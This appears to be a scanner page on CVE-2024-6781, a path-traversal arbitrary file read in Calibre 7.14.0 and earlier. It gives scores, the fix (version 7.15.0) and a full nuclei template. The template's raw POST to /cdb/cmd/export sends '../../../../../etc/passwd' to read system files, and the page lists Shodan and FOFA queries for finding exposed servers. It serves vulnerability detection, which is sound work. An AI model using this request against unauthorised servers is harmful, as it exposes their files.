Calibre <= 7.14.0 Arbitrary File Read

highseverity

7.5CVSS score

62.4%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.

Impact

Attackers can exploit the content server's export functionality to read arbitrary files from the system through path traversal.

Fix

Update Calibre to version 7.15.0 or later to address the arbitrary file read vulnerability.

How to confirm it

Send: GET /interface-data/books-init
Send: POST /cdb/cmd/export
Positive when: contains in content_type "application/json" AND matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-6781 -u <target>

The full check

id: CVE-2024-6781

info:
  name: Calibre <= 7.14.0 Arbitrary File Read
  author: DhiyaneshDK
  severity: high
  description: |
    Arbitrary file read via Calibre’s content server in Calibre <= 7.14.0.
  impact: |
    Attackers can exploit the content server's export functionality to read arbitrary files from the system through path traversal.
  remediation: |
    Update Calibre to version 7.15.0 or later to address the arbitrary file read vulnerability.
  reference:
    - https://starlabs.sg/advisories/24/24-6781/
  classification:
    cve-id: CVE-2024-6781
    cwe-id: CWE-22
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    epss-score: 0.62442
    epss-percentile: 0.99194
    cpe: cpe:2.3:a:calibre-ebook:calibre:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: calibre-ebook
    product: calibre
    shodan-query: html:"Calibre"
    fofa-query: "Server: calibre"
    max-request: 2
  tags: cve,cve2024,calibre,lfi,vuln

http:
  - raw:
      - |
        GET /interface-data/books-init HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: json
        name: book_ids
        internal: true
        json:
          - '.search_result.book_ids[0]'

  - raw:
      - |
        POST /cdb/cmd/export HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        ["extra_file", {{book_ids}}, "../../../../../etc/passwd", ""]

    matchers-condition: and
    matchers:
      - type: word
        part: content_type
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
          - '"result":'
        condition: and

      - type: status
        status:
          - 200

References

https://starlabs.sg/advisories/24/24-6781/

Use this check only on systems you are authorised to test. Where the data comes from